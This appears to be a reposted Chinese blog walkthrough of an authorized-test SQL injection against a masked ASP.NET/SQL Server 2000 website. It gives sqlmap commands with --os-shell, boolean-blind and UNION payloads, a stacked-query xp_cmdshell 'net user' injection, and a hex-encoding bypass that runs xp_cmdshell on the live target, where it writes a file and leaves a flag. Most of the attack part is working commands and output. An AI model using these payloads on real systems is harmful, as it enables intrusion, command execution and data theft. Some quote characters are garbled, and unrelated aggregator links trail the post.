sql server inject使用动态查询执行sql语句实例

Posted 17bdw随手笔记

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql server inject使用动态查询执行sql语句实例相关的知识,希望对你有一定的参考价值。

 

应某少年要求授权测试一个存在报错注入点的站点,可读取数据库名,但是sqlmap执行–os-shell选项就会莫名当掉; 
分步骤测试了几次,发现xp_cmdshell是开启状态,但用sqlmap注入却无法利用XP_cmdshell执行命令?

正好最近在读【SQL注入攻击与防御】,感觉这真是一个值得实践的好目标!

为了简化测试步骤,所以文章分为5次进行记录;

技术分享

0x1 sqlmap常用语句测试

测试1目的:执行cmd命令
测试1结果,测试初期无法连接;

-----------------------------------------------------

     C:\Users\Administrator>sqlmap -u "http://www.****.com/Index/SearchResult.
    aspx?KeyName=1&KeyWord=1"--level 5--risk 3--technique BST --batch --os-shell
    回显数据包【LOG】文件
    ---
    Parameter:KeyWord(GET)
    Type:boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload:KeyName=1&KeyWord=1%‘ AND 1799=1799 AND ‘%‘=‘
    ---
    [00:26:38][INFO] the back-end DBMS isMicrosoft SQL Server
    web server operating system:Windows2003or XP
    web application technology: ASP.NET,Microsoft IIS 6.0, ASP.NET 2.0.50727
    back-end DBMS:Microsoft SQL Server2000
    [00:26:38][CRITICAL] unable to prompt for an interactive operating system shell
    via the back-end DBMS because stacked queries SQL injection isnot supported

 

测试2目的:执行获取数据库名;
测试2结果:获取成功,判断是某个关键字被过滤了。

-----------------------------------------------------
C:\Users\Administrator>sqlmap -u "http://www.****.com/Index/SearchResult.
aspx?KeyName=1&KeyWord=1" --level 5 --risk 3 --technique BST --batch --dbs

 回显数据包 【LOG】文件

---
Parameter: KeyWord (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: KeyName=1&KeyWord=1%‘ AND 1799=1799 AND ‘%‘=‘
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
available databases [7]:
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[*] w**er

 

0x2 手工测试关键字过滤情况

测试3目的:获取数据库名
测试3结果:执行成功;

 -----------------------------------------------------

http://www.****.com/Index/SearchResult.aspx?KeyName=1&KeyWord=1%‘ UNION ALL SELECT 1,DB_NAME(5),3,4,5 FROM master..sysdatabases-- -

 

测试4目的:查wooyundrops尝试手工输入sql语句利用xp_cmdshell执行命令
测试4结果:无法连接服务器,返回404页面;

 -----------------------------------------------------

 ;EXEC master..xp_cmdshell ‘net user‘-- -

 

测试5目的:尝试加入%符号到关键字中,输出关键字判断哪个关键字被过滤;
测试5结果:xp_cmdshell,sp_configure又没有过滤了?但是匹配到”’的时候,出现一个sql语句错误。应该是(’)单引号被解析到正常语句中了

-----------------------------------------------------
http://www.****.com/Index/SearchResult.aspx?KeyName=1&KeyWord=1%‘ UNION ALL SELECT 1,‘xp
_shell’,3,4,5-- -

测试目标报出的错误;

    “/”应用程序中的服务器错误。
    在关键字‘And‘附近有语法错误。
    说明:执行当前Web请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
    异常详细信息:System.Exception:在关键字‘And‘附近有语法错误。

 

解决:尝试用declare设置十六进制绕过;
本地测试:

-------------------
    declare @a sysname
    [email protected]=
    exec master.dbo.xp_cmdshell @a

本地测试语句,其中【0x770068006F0061006D006900】解码后是【whoami】:

     SELECT TOP 2[id]
    ,[name]
    FROM [personnel].[dbo].[management];declare @a sysname [email protected]=0x770068006F0061006D006900exec master.dbo.xp_cmdshell @a;

 

本地测试结果见tu1.jpg


技术分享

测试结果:目标无回显,但执行写入文件的命令是成功了。

http://www.****.com/Index/SearchResult.aspx?KeyName=1&KeyWord=1%’ ;declare @a sysname select @a=0x770068006F0061006D006900 exec master.dbo.xp_cmdshell @a;– -

 

技术分享

留下旗标;
技术分享



以上是关于sql server inject使用动态查询执行sql语句实例的主要内容,如果未能解决你的问题,请参考以下文章

SQL Server-聚焦sp_executesql执行动态SQL查询性能真的比exec好?

SQL Server 2012 - 在函数内部运行动态查询(或跨链接服务器执行函数)

SQL injection : UNION attacks

如何循环在 SQL Server 中动态创建的查询

如何在 SQL Server 的 clr 存储过程中执行动态 .net 代码

使用 sql-injection 创建数据库触发器,无需堆叠查询